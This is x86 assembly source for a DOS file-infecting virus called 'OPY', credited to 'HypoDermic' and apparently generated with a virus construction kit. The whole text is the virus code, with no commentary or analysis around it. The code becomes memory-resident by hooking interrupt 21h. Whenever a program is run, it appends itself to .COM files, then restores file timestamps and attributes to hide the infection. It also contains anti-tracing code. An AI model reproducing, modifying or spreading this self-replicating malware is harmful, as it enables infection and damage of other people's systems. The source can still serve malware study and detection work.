; opy : OPY (c) by HypoDermic!! Part of the Mayberry Family!!! ; Created with Biological Warfare - Version 0.90á by MnemoniX PING equ 0A972h PONG equ 01F8Ch code segment org 0 assume cs:code,ds:code start: db 0E9h,3,0 ; to virus host: db 0CDh,20h,0 ; host program virus_begin: call $ + 3 ; BP is instruction ptr. pop bp sub bp,offset $ - 1 push ds es cli mov ax,PING ; mild anti-trace code push ax pop ax dec sp dec sp pop bx cmp ax,bx je no_trace hlt no_trace: sti in al,21h ; lock out & reopen keyboard xor al,2 out 21h,al xor al,2 out 21h,al mov ax,PING ; test for residency int 21h cmp dx,PONG je installed mov ax,es ; Get PSP dec ax mov ds,ax ; Get MCB sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64 sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64 mov es,word ptr ds:[12h] push cs ; copy virus into memory pop ds xor di,di mov si,bp mov cx,(virus_end - start) / 2 + 1 rep movsw xor ax,ax ; capture interrupts mov ds,ax mov si,21h * 4 ; get original int 21 mov di,offset old_int_21 movsw movsw mov word ptr ds:[si - 4],offset new_int_21 mov ds:[si - 2],es ; and set new int 21 installed: pop es ds ; restore segregs com_exit: lea si,[bp + host] ; restore host program mov di,100h push di movsw movsb call fix_regs ; fix up registers ret ; and leave fix_regs: xor ax,ax cwd xor bx,bx mov si,100h xor di,di xor bp,bp ret ; interrupt 21 handler int_21: pushf call dword ptr cs:[old_int_21] ret new_int_21: cmp ax,PING ; residency test je ping_pong cmp ax,4B00h ; execute program je execute int_21_exit: db 0EAh ; never mind ... old_int_21 dd 0 ping_pong: mov dx,PONG iret execute: push ax bx cx dx si di ds es call get_extension ; check filename cmp es:[di - 3],'DN' ; skip if COMMAND jne open_it jmp cant_open open_it: mov ax,4300h ; change attributes int 21h push cx dx ds xor cx,cx call set_attributes mov ax,3D02h ; open file int 21h jc cant_open xchg bx,ax push cs ; CS = DS pop ds mov ax,5700h ; save file date/time int 21h push cx dx mov ah,3Fh mov cx,28 mov dx,offset read_buffer int 21h cmp word ptr read_buffer,'ZM' ; .EXE? je dont_infect ; .EXE, skip mov al,2 ; move to end of file call move_file_ptr cmp dx,65279 - (VIRUS_SIZE + 3) ja dont_infect ; too big, don't infect sub dx,VIRUS_SIZE + 3 ; check for previous infection cmp dx,word ptr read_buffer + 1 je dont_infect add dx,VIRUS_SIZE + 3 mov word ptr new_jump + 1,dx mov dx,offset read_buffer ; save original program head int 21h mov ah,40h ; write virus to file mov cx,VIRUS_SIZE mov dx,offset virus_begin int 21h xor al,al ; back to beginning of file call move_file_ptr mov dx,offset new_jump ; and write new jump int 21h fix_date_time: pop dx cx mov ax,5701h ; restore file date/time int 21h close: pop ds dx cx ; restore attributes call set_attributes mov ah,3Eh ; close file int 21h cant_open: pop es ds di si dx cx bx ax jmp int_21_exit ; leave set_attributes: mov ax,4301h int 21h ret dont_infect: pop cx dx ; can't infect, skip jmp close move_file_ptr: mov ah,42h ; move file pointer cwd xor cx,cx int 21h mov dx,ax ; set up registers mov ah,40h mov cx,3 ret courtesy_of db '[BW]',0 signature db 'OPY (c) by HypoDermic!! Part of the Mayberry Family!!!',0 get_extension: push ds ; find extension pop es mov di,dx mov cx,64 mov al,'.' repnz scasb ret new_jump db 0E9h,0,0 virus_end: VIRUS_SIZE equ virus_end - virus_begin read_buffer db 28 dup (?) ; read buffer end_heap: MEM_SIZE equ end_heap - start code ends end start